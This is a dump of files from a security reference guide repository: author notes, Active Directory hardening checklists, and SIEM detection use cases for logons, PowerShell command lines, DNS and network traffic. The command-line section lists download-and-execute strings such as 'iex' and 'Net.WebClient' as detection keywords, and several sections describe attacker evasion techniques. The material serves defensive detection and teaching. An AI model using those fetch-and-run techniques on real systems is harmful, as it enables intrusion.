-------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0cm0nkey/Security-Reference-Guide/e587de06fbb9245cd7949fe7ac21d5bcf1d99b8f/.gitbook/assets/image (9) (1).png -------------------------------------------------------------------------------- /.gitbook/assets/image (9).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0cm0nkey/Security-Reference-Guide/e587de06fbb9245cd7949fe7ac21d5bcf1d99b8f/.gitbook/assets/image (9).png -------------------------------------------------------------------------------- /.gitbook/assets/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0cm0nkey/Security-Reference-Guide/e587de06fbb9245cd7949fe7ac21d5bcf1d99b8f/.gitbook/assets/image.png -------------------------------------------------------------------------------- /.gitbook/assets/proxy-image.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0cm0nkey/Security-Reference-Guide/e587de06fbb9245cd7949fe7ac21d5bcf1d99b8f/.gitbook/assets/proxy-image.jpeg -------------------------------------------------------------------------------- /.gitbook/assets/proxy-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0cm0nkey/Security-Reference-Guide/e587de06fbb9245cd7949fe7ac21d5bcf1d99b8f/.gitbook/assets/proxy-image.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # All of the Best Links and Resources on Cyber Security. 2 | 3 | ![](.gitbook/assets/proxy-image.jpeg) 4 | 5 | I'm the s0cm0nkey. I am a security analyst, threat hunter, pentester, researcher, and CTF enthusiast. By day, I run a SOC team and teach cyber security. By night, I play CTFs, hack things, and eat a professional volume of tacos. Ping me any time. I love to talk about all things security. 6 | 7 | [https://s0cm0nkey.github.io/](https://s0cm0nkey.github.io/) 8 | 9 | s0cm0nkey@protonmail.com 10 | 11 | @s0cm0nkeysec 12 | 13 | @s0cm0nkey@infosec.exchange 14 | 15 | Check out my online course with Applied Network Defense: Command Line Essentials for Security Analysts!\ 16 | [https://www.networkdefense.co/courses/cli/](https://www.networkdefense.co/courses/cli/) 17 | 18 | ### What is this? 19 | 20 | There are so many guides for security floating around the internet, it is hard to know where they all are and which ones are worth their salt. I am writing this reference guide by leveraging my true skill in security: _finding other people's hard work_. I am not smart enough or skilled enough to top the creators of these tools or the professionals that have used them twice as long as I have. 21 | 22 | What this will be is a collection of the best tools and resources I have been able to find and use for all my endeavors across cyber. With 10,000 different tools and blogs out there, it is hard to tell which has what you need. Hopefully, I can share the results of my trial and error process, and point you in the right direction towards the resource you need. This guide will provide some basic information where it can, and then point the reader to a slew of resources you can use to improve your skills. 23 | 24 | {% hint style="info" %} 25 | Note: These are my personal notes and links curated for public use. The notes and comments are not all of my own. If someone has written something better than I, I will use it and link to their work. I do not claim any copyright or creative content. 26 | {% endhint %} 27 | 28 | {% hint style="danger" %} 29 | Warning: Do not use any of the mentioned tools referenced here for illegal, unethical, or questionable purposes. These tools are for legitimate/approved testing and research only. 30 | {% endhint %} 31 | 32 | **Mentions:** 33 | 34 | {% embed url="https://labs.detectify.com/2021/08/24/hakluke-list-resources-for-beginner-hackers-2021/" %} 35 | 36 | **Other Publications:** 37 | 38 | [https://www.deepwatch.com/blog/logging-strategy/](https://www.deepwatch.com/blog/logging-strategy/) 39 | 40 | [https://s0cm0nkey.gitbook.io/port-scanner-shootout](https://s0cm0nkey.gitbook.io/port-scanner-shootout) 41 | -------------------------------------------------------------------------------- /blue-defense/README.md: -------------------------------------------------------------------------------- 1 | # Blue - Defensive Operations 2 | 3 | Blue teaming is the bread and butter of the security industry. While offensive security looks cooler, and has more pop culture around it, defensive operations are what really keeps us all safe. Defending is a multi-faceted process that combines hardening your network against attacks, as well as improving your visibility and trying to detect attacks when they hit you or happen to slip by your other defenses. \ 4 | The odds are stacked against defenders. Remember, Defenders have to successfully protects against thousands of different types of attacks. Attackers, only need one that you miss.For developing your defensive cyber skills, you must start as a generalist. Your knowledge must be an inch deep and mile wide, simply to understand where you need to go in the future. This starts with basic certification and terminology. From here you will learn more complex concepts and develop into a specialty. Understand one big important thing: Understanding how to successfully use a security tool, is just as important as understanding the theory behind it. A SIEM is useless if you don't know how to perform a query. 5 | 6 | In this section I have added every bit of tool and reference to defensive operations that I have used. Try tools out, practice the labs, and as always, READ THE DOCUMENTATION. 7 | 8 | For those wanting to build up their certifications and progress in your career, check out the [Security Certification Roadmap](https://pauljerimy.com/security-certification-roadmap/) to see what is next for you. 9 | 10 | ## **Blue team resources** 11 | 12 | * [Awesome Lists Collection: Security Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam) - A curated collection of awesome resources, tools, and other shiny things for cybersecurity blue teams. 13 | * [Awesome Lists Collection: Security ](https://github.com/sbilly/awesome-security)- A collection of awesome software, libraries, documents, books, resources and cool stuff about security. 14 | * [Awesome Lists Collection: Industrial Control Systems Security](https://github.com/hslatman/awesome-industrial-control-system-security) - A curated list of resources related to Industrial Control System (ICS) security. 15 | * [NIST CSF: Cyber Security Framework](https://www.nist.gov/cyberframework) - The Framework is voluntary guidance, based on existing standards, guidelines, and practices for organizations to better manage and reduce cybersecurity risk. This is a great place to start when building a security program from the ground up. 16 | * [NIST-to-Tech](https://github.com/mikeprivette/NIST-to-Tech) - An open-source listing of cybersecurity technology mapped to the NIST Cybersecurity Framework (CSF) 17 | * [NIST SP:800-37](https://csrc.nist.gov/publications/detail/sp/800-37/rev-2/final) - Risk Management Framework for Information Systems and Organizations: A System Life Cycle Approach for Security and Privacy 18 | * [NIST SP:800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) - Security and Privacy Controls for Information Systems and Organizations 19 | * [SANS Blue Team Operations](https://wiki.sans.blue/#!index.md) - SANS Blue Team wiki built by the instructors of the SANS defensive courses. 20 | * [ISECOM](https://www.isecom.org/) - The Institute for Security and Open Methodologies (ISECOM) is an open, security research community providing original resources, tools, and certifications in the field of security. 21 | * [CIS Top 20 Controls](https://www.cisecurity.org/controls/cis-controls-list/) - Looking for a place to start when improving your security program? Start here! 22 | * [https://blog.rsisecurity.com/what-are-the-20-cis-critical-security-controls/](https://blog.rsisecurity.com/what-are-the-20-cis-critical-security-controls/) 23 | * [Detection Maturity model ](https://ryanstillions.blogspot.com/2014/04/the-dml-model\_21.html)- Guide for levels of maturity and development of a security program. 24 | * [Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) - Relationships between indicators and effectiveness of protection. 25 | * [Security Metrics](https://www.nist.gov/system/files/documents/2016/09/16/mandiant\_rfi\_response.pdf) by Mandiant 26 | * [10 strategies of a world class SOC](https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf) 27 | 28 | ## **Training and Resources** 29 | 30 | **For resources including offensive security courses, books, CTFs and much more, please check out the Training and Resources section of this guide.** 31 | 32 | * [https://tryhackme.com/module/security-operations-and-monitoring](https://tryhackme.com/module/security-operations-and-monitoring) 33 | * [https://tryhackme.com/path/outline/blueteam](https://tryhackme.com/path/outline/blueteam) 34 | 35 | {% content-ref url="../training/" %} 36 | [training](../training/) 37 | {% endcontent-ref %} 38 | 39 | ## Contents 40 | 41 | {% content-ref url="terminology-and-mapping.md" %} 42 | [terminology-and-mapping.md](terminology-and-mapping.md) 43 | {% endcontent-ref %} 44 | 45 | {% content-ref url="query-languages.md" %} 46 | [query-languages.md](query-languages.md) 47 | {% endcontent-ref %} 48 | 49 | {% content-ref url="event-and-log-analysis.md" %} 50 | [event-and-log-analysis.md](event-and-log-analysis.md) 51 | {% endcontent-ref %} 52 | 53 | {% content-ref url="event-detection/" %} 54 | [event-detection](event-detection/) 55 | {% endcontent-ref %} 56 | 57 | {% content-ref url="packet-analysis.md" %} 58 | [packet-analysis.md](packet-analysis.md) 59 | {% endcontent-ref %} 60 | 61 | {% content-ref url="threat-hunting.md" %} 62 | [threat-hunting.md](threat-hunting.md) 63 | {% endcontent-ref %} 64 | 65 | {% content-ref url="active-defense.md" %} 66 | [active-defense.md](active-defense.md) 67 | {% endcontent-ref %} 68 | 69 | {% content-ref url="device-hardening/" %} 70 | [device-hardening](device-hardening/) 71 | {% endcontent-ref %} 72 | 73 | {% content-ref url="broken-reference" %} 74 | [Broken link](broken-reference) 75 | {% endcontent-ref %} 76 | 77 | {% content-ref url="vulnerability-management..md" %} 78 | [vulnerability-management..md](vulnerability-management..md) 79 | {% endcontent-ref %} 80 | 81 | {% content-ref url="blue-toolbox.md" %} 82 | [blue-toolbox.md](blue-toolbox.md) 83 | {% endcontent-ref %} 84 | -------------------------------------------------------------------------------- /blue-defense/device-hardening/ad-security-checks.md: -------------------------------------------------------------------------------- 1 | # AD Security Checks 2 | 3 | ### Defensive/Hardening Tools 4 | 5 | * [PingCastle](https://www.pingcastle.com/) - A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework 6 | * [Aorato Skeleton Key Malware Remote DC Scanner](https://gallery.technet.microsoft.com/Aorato-Skeleton-Key-24e46b73) - Remotely scans for the existence of the Skeleton Key Malware 7 | * [RiskySPN](https://github.com/cyberark/RiskySPN) - RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). 8 | * [Deploy-Deception](https://github.com/samratashok/Deploy-Deception) - A PowerShell module to deploy active directory decoy objects 9 | * [SpoolerScanner](https://github.com/vletoux/SpoolerScanner) - Check if MS-RPRN is remotely available with powershell/c# 10 | * [dcept](https://github.com/secureworks/dcept) - A tool for deploying and detecting use of Active Directory honeytokens 11 | * [DCSYNCMonitor](https://github.com/shellster/DCSYNCMonitor) - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events 12 | * [jackdaw](https://github.com/skelsec/jackdaw) - Jackdaw is here to collect all information in your domain, store it in a SQL database and show you nice graphs on how your domain objects interact with each-other an how a potential attacker may exploit these interactions. It also comes with a handy feature to help you in a password-cracking project by storing/looking up/reporting hashes/passowrds/users. 13 | 14 | ## **General Recommendations** 15 | 16 | * Manage local Administrator passwords (LAPS). 17 | * Implement RDP Restricted Admin mode (as needed). 18 | * Remove unsupported OSs from the network. 19 | * Monitor scheduled tasks on sensitive systems (DCs, etc.). 20 | * Ensure that OOB management passwords (DSRM) are changed regularly & securely stored. 21 | * Use SMB v2/v3+ 22 | * Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves. 23 | * Remove trusts that are no longer necessary & enable SID filtering as appropriate. 24 | * All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM." 25 | * Block internet access for DCs, servers, & all administration systems. 26 | 27 | ## **Protect Admin Credentials** 28 | 29 | * No "user" or computer accounts in admin groups. 30 | * Ensure all admin accounts are "sensitive & cannot be delegated". 31 | * Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection). 32 | * Disable all inactive admin accounts and remove from privileged groups. 33 | 34 | ## **Protect AD Admin Credentials** 35 | 36 | * Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups. 37 | * ‘Tiered’ Administration mitigating credential theft impact. 38 | * Ensure admins only logon to approved admin workstations & servers. 39 | * Leverage time-based, temporary group membership for all admin accounts 40 | 41 | ## **Protect Service Account Credentials** 42 | 43 | * Limit to systems of the same security level. 44 | * Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast). 45 | * Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators. 46 | * Logon restrictions – prevent interactive logon & limit logon capability to specific computers. 47 | * Disable inactive SAs & remove from privileged groups. 48 | 49 | ## **Protect Resources** 50 | 51 | * Segment network to protect admin & critical systems. 52 | * Deploy IDS to monitor the internal corporate network. 53 | * Network device & OOB management on separate network. 54 | 55 | ## **Protect Domain Controllers** 56 | 57 | * Only run software & services to support AD. 58 | * Minimal groups (& users) with DC admin/logon rights. 59 | * Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches). 60 | * Validate scheduled tasks & scripts. 61 | 62 | ## **Protect Workstations (& Servers)** 63 | 64 | * Patch quickly, especially privilege escalation vulnerabilities. 65 | * Deploy security back-port patch (KB2871997). 66 | * Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest 67 | * Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path. 68 | * Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days). 69 | 70 | ## **Logging** 71 | 72 | * Enable enhanced auditing 73 | * “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” 74 | * Enable PowerShell module logging (“\*”) & forward logs to central log server (WEF or other method). 75 | * Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. 76 | * SIEM or equivalent to centralize as much log data as possible. 77 | * User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA). 78 | 79 | ## **Security Pro’s Checks** 80 | 81 | * Identify who has AD admin rights (domain/forest). 82 | * Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs). 83 | * Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions. 84 | * Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations). 85 | * Limit service account rights that are currently DA (or equivalent). 86 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/authentication-logon.md: -------------------------------------------------------------------------------- 1 | # Authentication/Logon 2 | 3 | **Network Cleartext Logon** 4 | 5 | * Theory 6 | * No login should be cleartext. Ever. No exceptions 7 | * Requirements 8 | * Logging of EventID 4624: Account was successfully logged on. 9 | * Logging of EventID 4625: An account failed to log in. 10 | * Logic 11 | * Where 12 | * One of the following events occurs 13 | * EventID 4624 OR EventID 4625 14 | * AND 15 | * Logon Type = 8 (NetworkCleartext) 16 | * Reference 17 | * [https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624) 18 | 19 | **Successful login without connection from documented workstation** 20 | 21 | * Theory 22 | * In a hardened environment where a user should only be connection to resources by using their company desktop, there should be a Logon type 7 (device unlock) logon within about 24 hours of a logon of any other kind for the user associated with that device. 23 | * If there is not a logon type 7 entry, that could indicate a users account being used NOT in association with a legitimate logon to their device, and there for an indication of a compromised account. 24 | * Requirements 25 | * Logging of EventID 4624: Account was successfully logged on. 26 | * Logging of EventID 4625: An account failed to log in. 27 | * Logic 28 | * Where 29 | * One of the following events occurs 30 | * EventID 4624 OR EventID 4625 31 | * AND 32 | * NOT Logon Type = 7 (device unlock) 33 | * AND 34 | * EventID 4624 OR EventID 4624 35 | * AND 36 | * Logon Type = 7 (device unlock) NOT within the past 24 hours 37 | 38 | **Anonymous Impersonation level** 39 | 40 | * Theory 41 | * For proper tracking of user actions, Anonymous impersonation with logon events should be disabled. There should be little to no legitimate use of anonymous impersonations within a corporate environment. 42 | * Logic 43 | * Where 44 | * One of the following events occurs 45 | * EventID 4624 OR EventID 4625 46 | * AND 47 | * Impersonation Level = Anonymous 48 | 49 | **Suspicious change in Successful logon count vs Failure Logon count** 50 | 51 | * Theory 52 | * The rate of successes vs failures when logging in should stay relatively static unless there is either a sizeable network issue (which still needs to be escalated) or an attacker is attempting to manipulate credentials 53 | * If we look at overall count for user accounts, we can see spikes that may indicate a passwords spraying attack. 54 | * Requirements 55 | * Logging of EventID 4624: Account was successfully logged on. 56 | * Logging of EventID 4625: An account failed to log in. 57 | * Logic 1 - Establish a per user baseline of a success/failure ratio. Compare the ratio of the past 24 hours to that ratio. 58 | * Logic 2 - Establish a baseline ratio of total successes/failures within your network. Compare to the past 24 hours. Can also take an hourly approach 59 | 60 | **Suspicious Impersonation Level** 61 | 62 | * Theory 63 | * Of the Impersonation levels available in logons, a couple of them have trends that we can use as a baseline to highlight suspicious activity. Typically it is User Accounts that are performing Impersonation logins. This is for using account tokens on a local system. Conversely, Computer Accounts take up the vast majority of delegation logons, which can be users on both remote and local systems. 64 | * After whitelisting noise in the network, this can be used to see accounts performing logons outside of their typical scope. 65 | * Requirements 66 | * Logging of EventID 4624: Account was successfully logged on. 67 | * Logging of EventID 4625: An account failed to log in. 68 | * Logic - Suspicious Impersonation Level 69 | * Where 70 | * One of the following events occurs 71 | * EventID 4624 OR EventID 4625 72 | * AND 73 | * Impersonation level = "Delegate" 74 | * AND 75 | * Account = "\*$" 76 | * OR 77 | * Impersonation level = "Impersonate" 78 | * AND 79 | * Account!= "svc\*" or "\*$" 80 | 81 | **Use of Explicit Credentials** 82 | 83 | * Theory 84 | * Only a limited selection of people should ever need to run a task as another user. These are typically admin tasks performed by a limited group. By creating an allow list for those users and monitoring and alerting on all other activity, we can detect actions like unauthorized use of privileged accounts, use of stolen credentials, and interactively changing into service accounts. 85 | * Requirements 86 | * Logging of EventID 4648 - Login attempted using explicit credentials 87 | * Allow list of admin users 88 | * Logic 1 - Global use of explicit credentials 89 | * Where 90 | * EventID 4648 occurs 91 | * AND 92 | * NOT in the allow list 93 | * Logic 2 - Local use of explicit credentials 94 | * Where 95 | * EventID 4648 occurs 96 | * AND 97 | * NOT in the allow list 98 | * AND 99 | * Dest port=0 OR Dest IP=127.0.0.1 100 | 101 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/command-line.md: -------------------------------------------------------------------------------- 1 | # Command Line 2 | 3 | **Abnormal Command Line Length** 4 | 5 | * Theory 6 | * Typically in legitimate administrative and defensive uses, commands sent to the command line are typically short for single purposes, or instead call premade scripts to the command line. In order to bypass AV detection of malicious scripts, attackers will send the entirety of the script into the command line. This can create command line parameters that are significantly longer than what is typically used by that user. 7 | * Detection Requirements 8 | * Command Line Logging 9 | * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 10 | * Logic 1 - Powershell 11 | * Where 12 | * One of the following EventIDs occurs: 13 | * EventID 4103 OR EventID 4104 OR EventID 4105 OR EventID 4106 14 | * AND 15 | * Character count of the command line parameters >= 500 16 | * \*This count can be adjustable depending on the environment.\* 17 | * Filtering: (Legit applications with long command line tasks) 18 | * Chrome.exe settings actions 19 | * Adobe Reader 20 | * Reference 21 | 22 | **Commands encoded with Base64** 23 | 24 | * Theory 25 | * Languages like Powershell have the ability to interpret commands encoded with Base64 at runtime. When running approved commands within a network, there is little to no reason to encode your commands. Attackers will often encode their commands to obfuscate their purpose and bypass keyword detection. Looking for anything encoded with Base64, is a great way to detect these methods. 26 | * Detection Requirements 27 | * Command Line Logging 28 | * Optional: Native Base64 detection by SIEM or other tool. 29 | * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 30 | * Logic 1 - Powershell 31 | * Where 32 | * One of the following EventIDs occurs: 33 | * EventID 4103 OR EventID 4104 OR EventID 4105 OR EventID 4106 34 | * AND 35 | * The use of Base64 is detected within the command line. 36 | * Regex to detect: 37 | * `(?[A-Za-z0-9+/]{50,}[=]{0,2})` 38 | * Detects Base64 longer than 50 characters. 39 | 40 | **Execution of Downloaded Code** 41 | 42 | * Theory 43 | * Many languages have the ability to pull remote code directly into memory and be executed. While rarely used for legitimate defensive or administrative purposes, it is a popular way for attackers to run scripts without having them touch the local file system, and therefore be detected by AV. 44 | * Detection Requirements 45 | * Command Line Logging 46 | * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 47 | * Logic 1 - Powershell 48 | * Where 49 | * One of the following EventIDs occurs: 50 | * EventID 4103 OR EventID 4104 OR EventID 4105 OR EventID 4106 51 | * AND 52 | * The presence of one of the following strings 53 | * "Invoke-Expression" 54 | * "iex" 55 | * "Net.WebClient" 56 | * "-enc" 57 | * Reference 58 | 59 | **Powershell Downgrade Attack** 60 | 61 | * Theory 62 | * Powershell v5 has many handy security features that protect the system from various attacks. V5 systems also have the ability to downgrade powershell to earlier versions for compatibility purposes. This allows attackers to downgrade powershell to older versions, in order to evade the security features of v5. 63 | * Detection Requirements 64 | * Command line logging 65 | * Logging of Event ID 400 66 | * Logic 67 | * Where 68 | * EventID 400 Occcurs 69 | * AND 70 | * EngineVersion!=5.0 or newer. 71 | * Reference 72 | 73 | **Suspicious Command Line String Detected.** 74 | 75 | * Theory 76 | * There are certain strings that can be used to detect certain types of activity that is either unwanted or should be monitored due to the context of the string. 77 | * "wmi" commands may be used internally, however they are a favorite for attackers exploiting a system. Filter and monitor its use. 78 | * "DLL" commandlets should always be monitored, as there are no built-in commandlets containing "DLL" in thier name. 79 | * Detection Requirements 80 | * Command Line Logging 81 | * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 82 | * Logic 1 - Powershell 83 | * Where 84 | * One of the following EventIDs occurs: 85 | * EventID 4103 OR EventID 4104 OR EventID 4105 OR EventID 4106 86 | * AND 87 | * The presence of one of the following strings 88 | * "dll" or "DLL" 89 | * "wmi" or "WMI" 90 | * Reference 91 | * [https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/](https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/) 92 | 93 | **Powershell cmdlet long tail analysis** 94 | 95 | * Theory 96 | * As most legitimate powershell actions within a network are used for system administration and also involve repetitive tasks, we can use long tail analysis to look at the cmdlets that are called the least, to identify potentially suspicious activity. 97 | * This can also be used to help create a powershell cmdlet allow list. 98 | * Detection Requirements 99 | * Command Line Logging 100 | * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 101 | * Logic - 102 | * Descending count by cmdlet over X time 103 | * Reference 104 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/detection-use-cases.md: -------------------------------------------------------------------------------- 1 | # Detection Use Cases - Book Reference 2 | 3 | * Remote Admin Tool Use 4 | * PSExec Use 5 | * _PTFM: Remote Admin tools - pg. 16 (Requires WinEventLogs)_ 6 | * _PTFM: PSExec Use pg. 55 (Requires Registry Changes)_ 7 | * WMI use 8 | * _PTFM: Remote Admin tools - pg. 16 (Requires Command Line Auditing)_ 9 | * Phishing Detection 10 | * Zeek Detection Rule 11 | * _PTFM: Spearphishing - pg. 17 , 83 (Requires Zeek)_ 12 | * Persistence Detection 13 | * Unwanted executables and DLLs 14 | * Disallow specific .exe 15 | * _PTFM: Disallow specific executable - pg. 23 (Requires Registry Changes)_ 16 | * Unsigned DLLs 17 | * _PTFM: Unsigned DLL - pg. 23 (Requires Running CLI Query)_ 18 | * New Scheduled tasks 19 | * _PTFM: Scheduled Tasks - pg. 27 (Requires Powershell Query)_ 20 | * _PTFM: Scheduled Tasks - pg. 90 (Requires cron.dAudit)_ 21 | * Web Shell Detection 22 | * _PTFM: Webshell Detection - pg. 30 (Requires Procmon.exe, and Process Baseline)_ 23 | * .bashrc and .bash\_profile changes 24 | * _PTFM: Bash changes- pg. 90 (Requires Bash File Audit)_ 25 | * PrivEsc Detection 26 | * UAC Bypas 27 | * _PTFM: UAC Bypass via Event Viewer - pg. 34 (Requires Registry Changes)_ 28 | * _PTFM: UAC Bypass via fodhelper.exe - pg. 34 (Requires Registry Changes)_ 29 | * Poorly configed Cron Jobs 30 | * _PTFM: Poorly configured Cron Jobs - pg. 96_ 31 | * Mimikatz Use 32 | * Operator Handbook: Detect Mimikatz - pg.207 33 | * Defense Evasion Detection 34 | * Detect Alternate Data Streams 35 | * _PTFM: Detect Alternate Data Streams - pg. 37 (Requires Powershell Query)_ 36 | * Detect Rootkits 37 | * _PTFM: Detect Rootkits - pg. 37(Requires Memory Dump Tool)_ 38 | * Output of Windows Security Scan 39 | * Output of gmer.exe 40 | * Output of chkrootkit 41 | * Output of ClamAV 42 | * Output of rkhunter 43 | * Output of Lynis 44 | * Endpoint Enumeration/Harvesting Detection 45 | * Host Enumeration Detection 46 | * _PTFM: Windows Host Enumeration Detection Script - pg. 48_ 47 | * _PTFM: Linux Host Enumeration Detection Script - pg. 107_ 48 | * Detect LSASS dumping 49 | * _PTFM: Detect lsass dumping with sysmon - pg. 43 (Requires Sysmon)_ 50 | * Lateral movement Detection 51 | * Pass-the-Hash 52 | * _PTFM: Pass-the-hash detection with WinEventLogs - pg. 54 (Requires WinEventLogs)_ 53 | * _PTFM: Pass-the-hash detection with Sysmon- pg. 55 (Requires Sysmon)_ 54 | * PSExec Use 55 | * _PTFM: Remote Admin tools - pg. 16 (Requires WinEventLogs)_ 56 | * _PTFM: PSExec Use pg. 55 (Requires Registry Changes)_ 57 | * C2 Detection 58 | * Use of Hard Coded IP addresses 59 | * _PTFM: Hard coded IP use pg. 65 (Requires Memory dump)_ 60 | * Cloud 61 | * AWS 62 | * Cloudtrail Monitoring 63 | * _Operator Handbook: AWS\_Defend- pg. 20_ 64 | 65 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/dns.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Detection, Enrichment, and Use cases 3 | --- 4 | 5 | # DNS 6 | 7 | **Detection Use Cases** 8 | 9 | * Newly accessed domains 10 | * By taking a list of all of the domains accessed for a day, removing those found within a top million domains list, and then running a historical check, we can create a list of domains that have been accessed for the first time that would warrant investigation. Most malware today uses DNS. This use case will be best if run as a daily report for an analyst to review for any suspicious domains on the resulting list. Can be further enriched with reputation data for more efficacy. 11 | * Baby domains 12 | * There are very few instances that traffic to a newly created domain is warranted in an environment. Most phishing domains are used within the first three months they are created. By choosing a short time frame (My recommendation is about a week), and enriching the domain age with WHOIS, we can create alerting around contact to any of these baby domains. We can also use this with phishing use cases by checking the age of the domain found in MX records. 13 | * High Volumes of outbound NXDOMAIN resolutions. 14 | * NXDOMAIN is the response given when a request is made for a non-existent domain. While this typically appears in low volumes, spikes in this traffic can indicate a misconfiguration or malware using a DGA: Domain Generation Algorithm. 15 | * Google chrome will send random DNS requests on startup as an attempt to detect ISP DNS Hijacking. These requests, while noisy, are tied to the local search domain and easy to filter out. 16 | * High Volume of inbound or internal NXDOMAIN resolutions. 17 | * When an attacker is performing DNS bruteforcing or subdomain enumeration with tools like DNSRecon, large amounts of NXDOMAIN requests will be made in a short amount of time. By detecting these spikes, we can identify external or possibly internal attackers attempting to enumerate the network. 18 | * Fast Flux Detection 19 | * The Fast Flux technique is one employed by different malware authors to bypass DNS filters by using a single domain, and rotating the IP addresses found in DNS A records. We can detect this with seeing a disproportionate number of associated A records with a single domain. 20 | * Detecting this can be difficult with DNS load-balancing, but can be achieved by looking for repetitive DNS calls with TTLs <300 and answer counts more than 12. Monitor DNS queries by count and source IP address where the source addresses are more than 12 21 | * Double fast flux takes this idea further by using some compromised machines as DNS proxies to hide the true malware domain. This can be protected against, by making your internal DNS server, the authoritative name server. 22 | * DGA detection 23 | * Beyond the above use case for large volumes of NXDOMAIN entries, we can look at a parent domain for levels of high entropy, as calculated by Mark Bagget's freq.py. 24 | * [https://isc.sans.edu/forums/diary/Detecting+Random+Finding+Algorithmically+chosen+DNS+names+DGA/19893/](https://isc.sans.edu/forums/diary/Detecting+Random+Finding+Algorithmically+chosen+DNS+names+DGA/19893/) 25 | * DNS Tunneling/Unauthorized DNS 26 | * Assuming that enforce all DNS traffic through our DNS servers by policy, we can set up easy detection of potential DNS tunneling or unauthorized DNS requests by monitoring direct port 53 requests out of the environment. 27 | * We can take this one step further by looking for traffic to major DNS providers such as Google's DNS service at 8.8.8.8 28 | * More Advanced DNS tunneling techniques and tools such as DNSCat2, will still be able to leverage internal DNS servers for tunneling if they allow external DNS recursion. If the internal DNS server does not know how to resolve a domain and it passes the task off to an external DNS server, the originating host will use the external server for DNS resolutions and interact with it instead. By disabling external DNS recursion or limiting which external DNS servers we can use, we can block this type of activity. 29 | * DNS Tunneling through TXT records 30 | * Information can be exfiltrated or C2 communications can happen within TXT records of DNS requests. With the exception of certain security devices, TXT records are typically few and far between. We can monitor for larger spikes in TXT record requests to identify suspicious activity related to this technique. 31 | * Direct out connection detection 32 | * There are very few instances that outbound traffic will not have a DNS entry. This will occur when an application or malware is reaching out to a hard-coded IP address and does not make a DNS request. By matching outbound traffic with DNS requests, and looking for all of those that do not show in the DNS entry, we can detect this activity. 33 | * Exceptions can include Microsoft IP addresses, CDN addresses like Akamai, Root DNS server addresses, and functions of specific vendor tools. Will require white listing. 34 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/general-network-traffic.md: -------------------------------------------------------------------------------- 1 | # General Network Traffic 2 | 3 | **Network Baselining - Anomaly Reports** 4 | 5 | When monitoring network traffic, we can identify anomalies of traffic by statistical outliers. These are important to review regularly for suspicious activity as well as for opportunities to add to any available white/black lists.These are typically a very large amount of data to return, so it is recommended to use these detections as regularly scheduled reports to be reviewed, rather than alerts. 6 | 7 | * **Large Volumes of Internal Blocked Traffic -** Traffic within your network should all be legitimate and not require any blocking. That being said, a default network setup will have TONS of internal blocked traffic. Vuln scanners, default Windows utilities, Broadcast/multicast traffic, etc. Tune these out before enabling this use case. 8 | * Great for detecting unauthorized internal recon and pivoting. 9 | * Requirements 10 | * Tuning out of known sources of noise traffic. 11 | * Disabling of unused network utilities such as SSDP, LLMNR, Browser, NetBIOS, Dropbox LAN Sync, etc.) [https://its.uiowa.edu/support/article/3576](https://its.uiowa.edu/support/article/3576) 12 | * Logic 13 | * Where 14 | * Action=Blocked 15 | * AND 16 | * Source is 17 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 18 | * AND 19 | * Destination is 20 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 21 | * **New Applications -** Easy and dirty detection, but new applications in a locked down, allow list environment should always be suspect. This can be easily detected with Next Gen Firewalls that can identify applications used in the network. 22 | * Requirements 23 | * Documented application whitelist 24 | * 90 days of detected applications to compare to. 25 | * **Long standing connections -** Network connections with an exceptionally long duration can indicate multiple potentially malicious activities, such as threat actor connections, large file transfers, etc. 26 | * Logic 27 | * Look for network connections, or the 